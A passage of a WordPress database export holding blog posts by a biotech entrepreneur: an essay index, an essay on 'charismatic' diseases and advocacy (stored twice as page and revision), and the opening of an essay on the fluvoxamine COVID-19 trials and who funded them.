/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-11-16 16:26:09','2021-11-16 16:26:09','',22,'https://trevorklee.com/?p=239',0,'revision','',0),
(240,1,'2021-11-19 16:53:54','2021-11-19 16:53:54','<!-- wp:paragraph -->\n<p><em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay or anything else having to do with science, biotech, and other nerdy topics. If you’d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a scenario for you: let’s assume you’re someone who believes that global warming is an imminent threat facing our planet. You’re talking to someone who believes that global warming exists, but doesn’t think it’s that big a deal. Your job is to convince them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the question: when trying to convince them, would you use this picture of a polar bear?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/u3pQ6Z26OZ6P3SO0K4Q-vPT8oiY_9kUs4ojdPr28LNrIQT0BVe4edYhsx3dFZSUkwN_gkeMexeYUVc68hrkx0-JRNbS0p43fYQ-xf8lPpEpOCGXSxquuHGf15U2xP_W3wc-PvHbU\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s a tough question.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the one hand, this is a dramatic picture. It’s hard not to feel a little sad looking at it. Polar bears are charismatic creatures, especially polar bear cubs. And it’s easy for a viewer to imagine themselves in that same situation, irrational as that might be. A lot of people do become passionate about global warming because they think humanity is going to have as much trouble as polar bears in the near future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, this picture is so dramatic and stark that it threatens to erase everything else. In reality, polar bears are one species affected by global warming. Interventions to improve the lot of polar bears might not be effective interventions for all species affected by global warming, and there might be a more rational way to think about a cost-benefit analysis with regards to how much money we should spend saving the polar bears. Last, it’s nice that people worry about polar bears, but the climate change dangers that face polar bears aren’t actually the dangers that face humans. Our food supply chains are much more resilient than those of the polar bear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the dilemma of the scientific communicator. Polar bears are what’s known as charismatic megafauna (i.e. “charming big animals”). When used sparingly, charismatic megafauna are very effective ways of getting the public interested in otherwise uninteresting environmental problems, like using the plight of the orangutan to get people interested in deforestation caused by palm oil plantations. However, the focus on these animals risks making people mistake the map for the territory, and judge any solution to these problems on whether they solve the issue for the megafauna.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Diseases face the same issue. Without looking it up, what do you think is the deadliest form of cancer? Take a second, then look at the figure below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/5mrfDYDdBeIX6SNanWrXIGPfPsPE4-X4hUjTnLHFX73inddbYlw9UVGIoVqnoemufQ9r6rzoFQLJC0QdzAjEz6HtZ_NuaN38nztrxpdnIZKpJWArFEXki8BDjpwerP7Sxn7PMeJ4\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Does this surprise you? Colon cancer, stomach cancer, and liver cancer are all deadlier than breast cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, the only cancers that I personally have been warned about as a relatively young guy are testicular cancer and melanoma, both of which are way at the bottom of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of this can be explained by cancer prevalence, which does have breast cancer at the top.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/XrQLXtE_vQ_OPPtqQtGnJUazdqdTR7x05V5RMlXwYDYBRaB-g9DugsJ8yLMR5Zg3EKaOmnMOau7TuPTnKp2mHcySZ3XJD1n1V-uFu3myqParhmSNmtZbb7zHflHz1-LTXu-2X9Br\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That still doesn’t explain why there are multiple videos on Youtube with millions of views showing young men how to check for testicular cancer, and no videos with more than 250k about stomach cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best explanation that I can come up with is that breast cancer and testicular cancer are more charismatic diseases than colon or stomach cancer, with more charismatic figureheads. When you think breast cancer survivor, you think of women dramatically posing with their scars. When you think testicular cancer survivor, you think of Lance Armstrong, and how his career was tragically cut short by him being a jerk. But, you don’t really get anything like that for colon cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so, if you’re an advocate trying to get the government or nonprofits to pay more attention to cancer (<a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">not that you really need to</a>), you run into the same problem as the global warming advocates. Do you bring up breast cancer or testicular cancer?<br><br>On the one hand, breast cancer and testicular cancer advocacy drives a huge amount of attention and money to cancer research. On the other hand, these cancers are so charismatic that shady organizations (like <a href=\"https://en.wikipedia.org/wiki/Susan_G._Komen_for_the_Cure#Controversy_and_criticism\">Susan G. Komen</a>) and questionable interventions (like <a href=\"https://newrepublic.com/article/116581/mammogram-study-says-screening-doesnt-improve-mortality\">universal mammograms</a>) can flourish under the idea “if it just saves one woman from breast cancer”, to the neglect or detriment of other, better priorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For me, working as an entrepreneur in the health space, this is an issue I have to confront constantly. I’m developing extended-release versions of immunosuppressants, and immunosuppressants are drugs that have definitely positive effects on largely non-charismatic diseases (like immune-related hives a.k.a. chronic spontaneous urticaria) and potentially positive effects on very charismatic diseases (like <a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\">dementia</a>).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in my fundraising and public communication (like this one), I constantly have to balance these competing concerns. On the one hand, discussing dementia is exciting, and a good way to raise money. On the other hand, making a lot of my communication about a charismatic disease means that people might judge me by whether I cure that charismatic disease, whether or not I’m successful with the less charismatic diseases. This was a lesson that <a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\">Moderna learned the hard way</a>, as they repeatedly failed their targets prior to 2020 despite making real advances, and were <a href=\"https://www.statnews.com/2016/09/13/moderna-therapeutics-biotech-mrna/\">subsequently publicly compared to Theranos</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Charisma is a double-edged sword.</p>\n<!-- /wp:paragraph -->','Charismatic megadiseases','','publish','closed','closed','','charismatic-megadiseases','','','2021-11-19 16:53:54','2021-11-19 16:53:54','',0,'https://trevorklee.com/?page_id=240',0,'page','',0),
(241,1,'2021-11-19 16:53:54','2021-11-19 16:53:54','<!-- wp:paragraph -->\n<p><em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay or anything else having to do with science, biotech, and other nerdy topics. If you’d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a scenario for you: let’s assume you’re someone who believes that global warming is an imminent threat facing our planet. You’re talking to someone who believes that global warming exists, but doesn’t think it’s that big a deal. Your job is to convince them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the question: when trying to convince them, would you use this picture of a polar bear?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/u3pQ6Z26OZ6P3SO0K4Q-vPT8oiY_9kUs4ojdPr28LNrIQT0BVe4edYhsx3dFZSUkwN_gkeMexeYUVc68hrkx0-JRNbS0p43fYQ-xf8lPpEpOCGXSxquuHGf15U2xP_W3wc-PvHbU\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s a tough question.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the one hand, this is a dramatic picture. It’s hard not to feel a little sad looking at it. Polar bears are charismatic creatures, especially polar bear cubs. And it’s easy for a viewer to imagine themselves in that same situation, irrational as that might be. A lot of people do become passionate about global warming because they think humanity is going to have as much trouble as polar bears in the near future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, this picture is so dramatic and stark that it threatens to erase everything else. In reality, polar bears are one species affected by global warming. Interventions to improve the lot of polar bears might not be effective interventions for all species affected by global warming, and there might be a more rational way to think about a cost-benefit analysis with regards to how much money we should spend saving the polar bears. Last, it’s nice that people worry about polar bears, but the climate change dangers that face polar bears aren’t actually the dangers that face humans. Our food supply chains are much more resilient than those of the polar bear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the dilemma of the scientific communicator. Polar bears are what’s known as charismatic megafauna (i.e. “charming big animals”). When used sparingly, charismatic megafauna are very effective ways of getting the public interested in otherwise uninteresting environmental problems, like using the plight of the orangutan to get people interested in deforestation caused by palm oil plantations. However, the focus on these animals risks making people mistake the map for the territory, and judge any solution to these problems on whether they solve the issue for the megafauna.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Diseases face the same issue. Without looking it up, what do you think is the deadliest form of cancer? Take a second, then look at the figure below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/5mrfDYDdBeIX6SNanWrXIGPfPsPE4-X4hUjTnLHFX73inddbYlw9UVGIoVqnoemufQ9r6rzoFQLJC0QdzAjEz6HtZ_NuaN38nztrxpdnIZKpJWArFEXki8BDjpwerP7Sxn7PMeJ4\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Does this surprise you? Colon cancer, stomach cancer, and liver cancer are all deadlier than breast cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, the only cancers that I personally have been warned about as a relatively young guy are testicular cancer and melanoma, both of which are way at the bottom of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of this can be explained by cancer prevalence, which does have breast cancer at the top.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/XrQLXtE_vQ_OPPtqQtGnJUazdqdTR7x05V5RMlXwYDYBRaB-g9DugsJ8yLMR5Zg3EKaOmnMOau7TuPTnKp2mHcySZ3XJD1n1V-uFu3myqParhmSNmtZbb7zHflHz1-LTXu-2X9Br\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That still doesn’t explain why there are multiple videos on Youtube with millions of views showing young men how to check for testicular cancer, and no videos with more than 250k about stomach cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best explanation that I can come up with is that breast cancer and testicular cancer are more charismatic diseases than colon or stomach cancer, with more charismatic figureheads. When you think breast cancer survivor, you think of women dramatically posing with their scars. When you think testicular cancer survivor, you think of Lance Armstrong, and how his career was tragically cut short by him being a jerk. But, you don’t really get anything like that for colon cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so, if you’re an advocate trying to get the government or nonprofits to pay more attention to cancer (<a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">not that you really need to</a>), you run into the same problem as the global warming advocates. Do you bring up breast cancer or testicular cancer?<br><br>On the one hand, breast cancer and testicular cancer advocacy drives a huge amount of attention and money to cancer research. On the other hand, these cancers are so charismatic that shady organizations (like <a href=\"https://en.wikipedia.org/wiki/Susan_G._Komen_for_the_Cure#Controversy_and_criticism\">Susan G. Komen</a>) and questionable interventions (like <a href=\"https://newrepublic.com/article/116581/mammogram-study-says-screening-doesnt-improve-mortality\">universal mammograms</a>) can flourish under the idea “if it just saves one woman from breast cancer”, to the neglect or detriment of other, better priorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For me, working as an entrepreneur in the health space, this is an issue I have to confront constantly. I’m developing extended-release versions of immunosuppressants, and immunosuppressants are drugs that have definitely positive effects on largely non-charismatic diseases (like immune-related hives a.k.a. chronic spontaneous urticaria) and potentially positive effects on very charismatic diseases (like <a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\">dementia</a>).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in my fundraising and public communication (like this one), I constantly have to balance these competing concerns. On the one hand, discussing dementia is exciting, and a good way to raise money. On the other hand, making a lot of my communication about a charismatic disease means that people might judge me by whether I cure that charismatic disease, whether or not I’m successful with the less charismatic diseases. This was a lesson that <a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\">Moderna learned the hard way</a>, as they repeatedly failed their targets prior to 2020 despite making real advances, and were <a href=\"https://www.statnews.com/2016/09/13/moderna-therapeutics-biotech-mrna/\">subsequently publicly compared to Theranos</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Charisma is a double-edged sword.</p>\n<!-- /wp:paragraph -->','Charismatic megadiseases','','inherit','closed','closed','','240-revision-v1','','','2021-11-19 16:53:54','2021-11-19 16:53:54','',240,'https://trevorklee.com/?p=241',0,'revision','',0),
(243,1,'2021-11-26 02:46:12','2021-11-26 02:46:12','<!-- wp:paragraph -->\n<p><em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay, my other essays, or anything else having to do with science and biotech. If you\'d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may have seen a headline recently that says something like “<a href=\"https://www.cnn.com/2021/10/28/health/fluvoxamine-covid-risk-study/index.html\">Cheap, generic antidepressant may reduce severe Covid-19 disease, study finds</a>”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you click through to the news story, you’ll see a story about how doctors gave fluvoxamine, a somewhat uncommon SSRI, to COVID 19 patients in Brazil. 11% of the patients given fluvoxamine ended up in the ER, while 16% of the patients given placebo ended up in the ER. You’ll also see some handwaving about how maybe fluvoxamine works in COVID 19 because it reduces inflammation, or maybe because it reduces blood platelets, or maybe just because it’s an SSRI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a neat story, and a great example of drug repurposing living up to its promise. But, the way it’s presented, you’ll also likely be left with a bunch of questions like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Why were these scientists giving an uncommon SSRI to COVID 19 patients in Brazil?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Why are they so uncertain on how it works?<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Who paid for all this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. If trying random drugs on random diseases works so well, why don’t we do it more?<br><br>These are all excellent questions that are thoroughly unanswered by the news article. Not coincidentally, the answers to these questions are both interesting and have a lot of relevance to how drugs are developed today, especially drug repurposing development efforts like this fluvoxamine one. I thought I’d take a stab at answering them in the essay below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alternatively, if you want the short answers of these questions, they are as follows:<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Mouse trial + case studies + no better ideas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Too many cooks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Billionaires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But these short answers aren’t nearly as fun or interesting as the long ones, and don’t give me the chance to talk about the clever way that my company is doing our own drug repurposing project. So, I recommend you read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you look up fluvoxamine on Wikipedia, it’ll tell you that fluvoxamine is an SSRI and it works the same way all SSRIs do. Namely, when one nerve cell squirts out serotonin to a receiving nerve cell, fluvoxamine blocks the reuptake of serotonin. This leads to an increase of serotonin in the synaptic gap, <a href=\"https://slatestarcodex.com/2018/11/07/ssris-an-update/\">stuff happens</a>, and hopefully the patient’s anxiety or depression is cured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://i0.wp.com/medicoapps.org/wp-content/uploads/2019/02/SELECTIVE-SEROTONIN-REUPTAKE-INHIBITORS-SSRI.jpg?fit=600%2C315&amp;ssl=1\" alt=\"Selective Serotonin Reuptake Inhibitors (SSRI) - www.medicoapps.org\"/><figcaption>A misleadingly simplified version of how SSRIs work. This author comes from the classic \"gumdrop\" school of drawing SSRIs.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Wikipedia will also tell you that fluvoxamine, like some other SSRIs, has the “off-target” effect of activating, or agonizing, the sigma one receptors, mysterious receptors that modulate other receptors to, uh, act differently. The quotation marks and vagueness here is deliberate. Sigma one agonism may contribute to the antidepressant effects of fluvoxamine (like it does for <a href=\"https://en.wikipedia.org/wiki/Opipramol\">opipramol</a>, an old anxiety drug only used in Europe), and agonism of the sigma one receptors has a confusing grab bag of effects that don’t fit neatly into a single classification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of these effects in the grab bag seems to be blocking a specific inflammation pathway that’s very important in COVID and other infectious diseases. If you’re interested in the science behind it, follow the footnote [1]. Otherwise, you should just know that this effect of sigma one agonism was theorized and tested in <a href=\"https://sci-hubtw.hkvisa.net/10.1126/scitranslmed.aau5266\">a mouse study of septic shock in 2019</a>. They found that mice who were given an injection of fecal matter (gross) and then given fluvoxamine did better than mice who were given the injection and not given fluvoxamine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This mouse study of septic shock was supposed to turn into a human trial of septic shock, which is a thing we were worried about in 2019. To be fair to yesteryear’s worries, <a href=\"https://en.wikipedia.org/wiki/Septic_shock#Epidemiology\">septic shock does kill an estimated 20 million people a year, and has a 25-50% mortality rate even in developed countries</a>. So, not a crazy thing to worry about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, this all is normal. Trials where drugs are repurposed to test on mice happen all the time. Every single drug you can think of and more has been tested on every single sick mouse in existence. Moreover, pretty much all those mouse studies end with a great result for the mice, the author saying “let’s test this on humans!”, and then nothing happening. This was a better run mouse study than most, but, still, this isn’t the interesting part of the story.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Scid_mouse.jpg/250px-Scid_mouse.jpg\" alt=\"\"/><figcaption>Have you ever wondered why, if scientists can cure cancer in mice, mice still get cancer?</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The interesting part happened the next year after COVID hit, as most interesting things in 2020 did. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7308649/\">Early on</a> in COVID it was noticed that the “cytokine storm”, which is the body’s inflammatory response to COVID, was one of the major reasons for COVID’s relatively high fatality rate. Halting or inhibiting this cytokine storm was seen as one of the top priorities for COVID researchers, especially as the drugs that were usually used to tamp immune responses, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7472975/#:~:text=It%20has%20been%20demonstrated%20that,who%20develop%20pneumonia%20%5B6%5D.\">like the steroid dexamethasone</a>, only worked ok and had serious side effects.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The panic of COVID meant that science and medicine happened a lot more so than it did in the pre-pandemic days. One of those ways it happened more was in very aggressive collection, sharing, and analysis of patient data, including data on the cytokine storm. In this frenzy of analysis, one Parisian hospital soon noticed something peculiar: <a href=\"https://www.medrxiv.org/content/10.1101/2020.07.09.20143339v2.full.pdf#page=3\">COVID patients who coincidentally received antidepressants soon after admission to the hospital had diminished risk of intubation or death.</a> In other words, they seemed to have better outcomes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In normal times and for normal disease, I’m not sure if anything would have come of an analysis like this one. Even if this analysis had been run (a big if), it would have taken a while for any sort of resulting trial to be run. But, as the bank advertisements say, COVID is a new normal. So, before the Parisian’s hospital’s data was even formally published, an American doctor took their findings, connected them with the mouse septic shock study, then did a 128 person study where she explicitly examined whether fluvoxamine could prevent clinical deterioration in COVID. And, what do you know, <a href=\"https://jamanetwork.com/journals/jama/fullarticle/2773108\">it could</a>!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>128 people isn’t a lot of people, though, especially as only 6 people in the placebo group experienced clinical deterioration. So, a much larger study was organized in Brazil to get a better sense of whether this result was real or a fluke. That was the TOGETHER trial, mentioned at the beginning of the post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whew! That’s question 1 in the bag: how we ended up giving fluvoxamine to COVID patients in Brazil (<strong>correction: </strong>Patrick Collison, who partially funded the TOGETHER trial through Fast Grants, tweets that <a href=\"https://twitter.com/patrickc/status/1463956869735534593\">why the trial was funded involved more small trials/evidence than I mentioned above)</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the way, it’s worth noting that from the Parisian hospital analysis to the American study was only about 4 months, and the publication of the American study to the start of the Brazilian study was only like 2 months. By trial standards and scientific standards, that is crazy fast. I just want to emphasize one part on how exceptional these studies were before moving onto the next question. Don’t worry, the second part of how exceptional these studies were is coming soon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Question 2, on why the scientists were so unclear on how fluvoxamine works in COVID, is much quicker to answer and less interesting, in my opinion. This was a large, collaborative study that the scientists were trying to get out as quickly as possible. There was probably a diversity of opinions on why the drug worked, and it was easier just to skip over that and focus on the takeaway that the drug did work. Hammering out the argument was not worth the time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Question 3 (“who paid for all this?”), on the other hand, is a much more interesting question. The American study was paid for by the COVID 19 Early Treatment Fund (CETF). The Brazil study was paid for by Fast Grants and the Rainwater Charitable Foundation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s interesting because literally all of those foundations are funded by multimillionaires and billionaires. CETF received a lot of funding from the first president of Ebay, Jeffrey Skoll. Fast Grants received a lot of funding (and free publicity) by Patrick Collison, the cofounder of Stripe. The Rainwater Charitable Foundation is funded by the fortune of the late Richard Rainwater, a billionaire investor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do you notice something about that list of funders? Well, who’s missing? You guessed it: any governmental or nongovernmental organization who had any prior major investments in public health. These COVID trials were not funded by the NIH, the FDA, the CDC, the Red Cross, or Mass General Hospital. Nope. Just random billionaires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://clinicalcenter.nih.gov/sites/nihinternet/files/internet-files/about/news/newsletter/2019/winter/images/story-winter-05.jpg\" alt=\"Staff honored for improving patient care and the workplace environment |  Clinical Center Home Page\"/><figcaption>Pictured: the NIH giving each other medals. Not pictured: the NIH funding COVID trials.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And now we have the second piece of why these trials were so exceptional: they didn’t just have capable, organized people pushing them to occur rapidly, they were also funded by generous donors who were willing to rapidly deploy capital. That is incredibly rare.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 